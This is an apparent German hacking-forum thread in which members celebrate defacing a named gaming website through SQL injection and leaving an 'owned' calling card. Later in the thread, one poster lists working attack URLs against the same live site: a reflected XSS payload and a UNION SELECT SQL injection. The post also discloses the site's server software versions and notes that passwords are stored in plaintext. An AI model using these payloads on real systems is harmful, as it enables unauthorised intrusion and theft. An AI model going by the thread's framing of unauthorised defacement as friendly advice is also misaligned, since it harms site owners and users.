pcgamesdatabase.de owned

[/4ikon\]

xhttp://img410.imageshack.us/img410/4594/ownedr.gif

http://pcgamesdatabase.de/

[XX]

Dein Hinweis auf der Seite ist ja relativ klein. Ein nettes Bild als Top-Meldung würde ich bevorzugen.

[/4ikon\]

wir auch :)

aber selbstgeschriebenes cms....

kein datenbankzugriff und kein ftp

im cms ist kein upload möglich...

machen sie sicher alles über ftp oder noch n anderes panel.....

[-=Crypter=-]

Dein Hinweis auf der Seite ist ja relativ klein. Ein nettes Bild als Top-Meldung würde ich bevorzugen.


Hättest du es nicht gesagt, hätt ich gar nichts gesehn :'D

[/4ikon\]

naja ich will ja auch mal nich so sein....deswegen noch ne umfrage ;D

[-=Crypter=-]

naja ich will ja auch mal nich so sein....deswegen noch ne umfrage ;D


Mach die Umfrage aber auf die Startseite sonst sieht des keiner.

[Benutzername?]

naja ich will ja auch mal nich so sein....deswegen noch ne umfrage ;D

Mit was genau gibst du grad an?

[-=Crypter=-]

Mit was genau gibst du grad an?

Er gibt nich an. Wenn du mal den Text auf PCGD gelesen hättest wüsstest du, dass nur will dass die Admins die Sicherheit der Seite verbessern sollen!

[Benutzername?]

Ich komm inmo. garnich mehr auf die seite...

Aber wenns so ist...

[Sn0opY]

^^ lol 4ikon und Lolly ftw ^^ ihr seid krank jungs

[/4ikon\]

Admin fixt grad xD

[Gabber Gandalf]

hmmm was ich nur daran nit so ganz verstehe was zum henker hat das hier in "Globale News" zu suchen? hättest den mist auch im OT posten können .....

[Sn0opY]

naja is insoweit ne szene news dass nicht hier einer von fh auf die idee kommt sich von der page was zu laden ;P so nen fud rat oder sowas aus den downlaod charts wäre doch was ^^

[-=Crypter=-]

Wurde schon gefixt Dx

[XX]

@Gabber Gandalf (http://free-hack.com/member.php?u=35861): Warum beschwerst Du Dich? Du hast doch Macht. Nutze sie einfach, wenn Du Dir Deiner Sache sicher bist. ;)

XX

[lolly]

Hmmmm,

fand sehr schade, dass wir keine Bilder hochladen konnten. Allerdings muss ich sagen war bis jetzt die anspruchsvollste SQL-Injection und wir beide haben viel dabei gelernt.

War Sinn der Sache und ne kleine Visitenkarte hinterlassen nimmt uns doch keiner übel ;)
@XX: Zwischen flamen und eigener Meinung ist ein Unterschied, finde Gabber Gandalfs post berechtigt und ist okay :)

MFG Lolly

[fred777]

Joa, die LÜcke gibts immer noch, wo der Sinn ist, naja...
;)

[3ddyk]

nicht schlecht die seite mal auf fehler "aufmerksam" zu machen ;)

[J0hn.X3r]

Admin fixt grad xD

Davon merk ich nichts, außer dass das Admin CP nicht mehr unter /admin/index.php zu erreichen ist.


Wurde schon gefixt Dx

Aehm ne?


Joa, die LÜcke gibts immer noch

Jep, zum Beispiel hier:

Iks Es Es (XSS :D ):

http://pcgamesdatabase.de/gamesoftheyear.php?tmpx=<script>alert(1337)</script>und SQL Injection Vulnerability:

http://pcgamesdatabase.de/games_top10subgenre.php?genre_id=-1/**/UNION/**/SELECT/**/1,version(),3,4/*

Apache: 3.1.31
MySQL: 5.0.32-Debian_7etch1~bpo.1-log
PHP: 4.4.7

Uebrigens sollte mal jemand dem Admin sagen, die PW nicht plain zu speichern ~.~

[lolly]

Achja und nochmal big THX an J0hn.X3r der mir bei dummen Fragen hilfreich zur Seite stand :) (Ich Dummi wusste nicht wie man die Stripslashes umgeht)
:)

[XX]

Schreibt dem offensichtlich unerfahrenen Admin doch mal eine Mail, damit das Elend auch hier mal ein Ende hat. ;)

EDIT

@lolly (http://free-hack.com/member.php?u=46610): Ich meine ja auch nicht, dass Gabber flamed. Ich meine nur, dass er es doch einfach ins OT verschieben soll. ;) (http://free-hack.com/member.php?u=46610)

[/4ikon\]

naja wenn sie's halt ne verstehen und für sie wieder alles nach dem motto grüne wiesen und blümchen ist haben sie pech gehabt und werden es irgendwann merken.
kann man nix machen